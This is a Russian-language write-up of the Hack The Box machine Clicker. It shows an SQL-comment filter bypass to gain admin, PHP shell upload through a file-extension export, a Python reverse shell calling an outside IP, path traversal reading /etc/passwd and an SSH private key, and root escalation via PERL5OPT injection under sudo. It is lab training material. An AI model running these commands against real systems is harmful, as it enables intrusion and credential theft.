HTB Clicker. Инжектим команды через Perl
В этом райтапе я покажу, как использовать уязвимость в Perl, чтобы провести инъекцию команд и повысить привилегии на атакуемой машине. Но сначала мы устроим атаку на сайт, получим RCE и декомпилируем пользовательское приложение.
Наша цель — захват рута на машине Clicker с площадки Hack The Box. Уровень ее сложности — средний.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел несколько открытых портов, среди них отметим:
Остальные порты не представляют интереса.
ТОЧКА ВХОДА
Первым делом подключимся к хранилищу NFS и посмотрим, что там.
Нам доступен раздел с бэкапами. Примонтируем его и посмотрим содержимое.
sudo mount -t nfs clicker.htb:/mnt/backups /mnt/
Там всего один архив, копируем его на нашу машину и демонтируем раздел.
Архив содержит исходные коды сайта, что облегчит поиск уязвимостей.
ТОЧКА ОПОРЫ
Повышение привилегий на сайте
Сперва по порядку просматриваем все файлы и в каждом отмечаем интересные данные и потенциальные уязвимости. К примеру, в db_utils.php
лежат функции для загрузки и сохранения профиля (строки 44–66). В обеих функциях используется запрос к базе данных, в первом случае для получения данных, во втором — для изменения существующей записи.
Из файла diagnostic.php
узнаём о существовании токена доступа (строки 2–7), а также получаем информацию для подключения к базе данных (строки 27–38).
В файле export.php
проверяется роль пользователя (строки 5–8), таким образом, существуют юзеры с разными привилегиями. Затем данные извлекаются из параметров и сохраняются в файл, расширение которого тоже получено из параметра. Это явный путь к RCE, так как мы можем сохранить файл с кодом на PHP.
Еще интереснее код в файле save_game.php
. В строке 7 устанавливаются все переданные в запросе параметры. Только присутствует фильтр на параметр role
.
Это очень интересный код, так как, если получится обойти фильтр, мы поднимем роль своего пользователя до администратора. Перейдем на страницу play.php
, покликаем по кнопке и сохраним результат. Затем отправим запрос в Burp Repeater и добавим параметр role
. В ответ получим ожидаемую ошибку.
Так как полученные параметры будут использованы в SQL-запросе на изменение данных, обход фильтра заключается в таком способе передачи строки role=Admin
, чтобы она обошла проверку strtolower
, но была валидной в SQL-запросе. К примеру, можно использовать символы комментариев SQL /**/
или использовать URL-кодирование.
Команда успешно выполнена, но в аккаунте пользователя никаких изменений не видно. Проблему удалось решить благодаря обычному символу комментария SQL #
(%23
).
Заново авторизуемся на странице и видим, что теперь у нас есть доступ к админской панели.
Получение RCE
Вернемся к найденной ранее возможности экспорта данных в файл.
Но на панели администратора ничего не находим. В исходном коде страницы admin.php
видим отправку данных на страницу export.php
.
Я просто перешел на страницу export.php
, и меня перебросило обратно на страницу admin.php
. В этот раз на странице присутствуют все данные. Просто экспортируем в файл JSON.
Также взглянем на запрос в Burp Proxy. Там, как и ожидалось, передается расширение файла для экспорта.
Отправим запрос в Burp Repeater и изменим расширение на .php
. В ответе получаем путь к PHP-файлу, который не будет заблокирован на сервере.
Теперь перейдем к коду export.php
. В файле записываются значения параметров nickname
, clicks
и level
.
Как устанавливать значения нужных нам переменных, уже знаем, поэтому аналогично роли пользователя записываем в переменную nickname
самый простой PHP-шелл:
Теперь экспортируем данные в файл .php, затем переходим к шеллу и отправляем команду id
.
Команда выполнена, а значит, можно получить полноценный реверс‑шелл.
А теперь отправим вот такой реверс‑шелл на Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.26",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("bash")'
ПРОДВИЖЕНИЕ
Мы залогинились как пользователь, и теперь нужно понять, как повышать привилегии в системе. Для этого полезно собрать всю доступную информацию. Я обычно использую для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Выбираем из результатов самое важное.
На хосте прослушивается много портов, возможно, есть доступные локально сайты и службы.
У файла execute_query
установлен S-бит, а его владелец — пользователь jack.
В каталоге /opt
лежит пользовательский скрипт monitor.sh
.
В этом скрипте никаких учетных данных нет, однако есть отмена переменных окружения PERL5LIB
и PERLLIB
, с которыми связана одна уязвимость произвольного выполнения кода в контексте приложения.
Перейдем к приложению с установленным битом SUID. Когда у файла есть атрибут SUID, обычный пользователь может запустить его и получить права пользователя — владельца файла в рамках запущенного процесса. В нашем случае это пользователь jack
. Также к файлу прилагается README.
Это приложение нужно для работы с базой данных и предлагает четыре опции. Чтобы разобраться в его работе, я использовал декомпилятор Hex-Rays в IDA Pro.
Приложение принимает на вход два параметра. Первый будет обработан как номер опции (строки 14–21), а второй вставлен в команду MySQL, которая выполняется через функцию system
(строки 36–42).
Так как инструкция __asm { jmp rax }
не декомпилировалась, переходим в графовое представление и видим аналог оператора case
, выбирающий ветку кода в зависимости от указанной опции.
Однако отсутствует обработка исключения, которое произойдет, если указанная опция будет больше 4. В таком случае переданная во втором параметре строка добавляется к пути /home/jack/queries/
, и, если итоговый файл доступен для чтения, он передается в команду mysql
. Таким образом будет обеспечен вывод файла в терминал.
Проверим предположение и прочитаем файл /etc/passwd
, не забываем добавить последовательности ../
для обхода каталога.
./execute_query 5 ../../../etc/passwd
Получаем содержимое файла и пробуем прочитать приватный ключ SSH.
./execute_query 5 ../.ssh/id_rsa
Сохраняем ключ и подключаемся по SSH как пользователь jack.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Одно из первых мест, которые нужно проверить при повышении привилегий, — это файл sudoers. Получить его можно командой sudo -l
.
Узнаём, что наш пользователь может выполнить скрипт /opt/monitor.sh
с предустановленными переменными окружения от имени пользователя root
. Мы уже видели этот скрипт, поэтому сразу переходим к выполнению кода благодаря переменным окружения.
В нашем случае при использовании языка Perl переменная среды PERL5OPT
позволяет задать параметр командной строки, указывающий на дополнительный модуль. При этом параметр -M
позволяет добавлять код на Perl после имени модуля. Таким образом можно выполнить команду id
с помощью следующей конструкции.
sudo PERL5OPT='-Mbase;print(`id`)' /opt/monitor.sh
Команда выполнена, а значит, мы можем получить и привилегированный шелл. Для этого напишем скрипт, устанавливающий S-бит файлу командной оболочки /bin/bash
.
echo 'chmod u+s /bin/bash' > /dev/shm/lpe.sh chmod +x /dev/shm/lpe.sh sudo PERL5OPT='-Mbase;print(`/dev/shm/lpe.sh`)' /opt/monitor.sh
SUID присутствует, а значит, можем получить шелл в контексте пользователя root.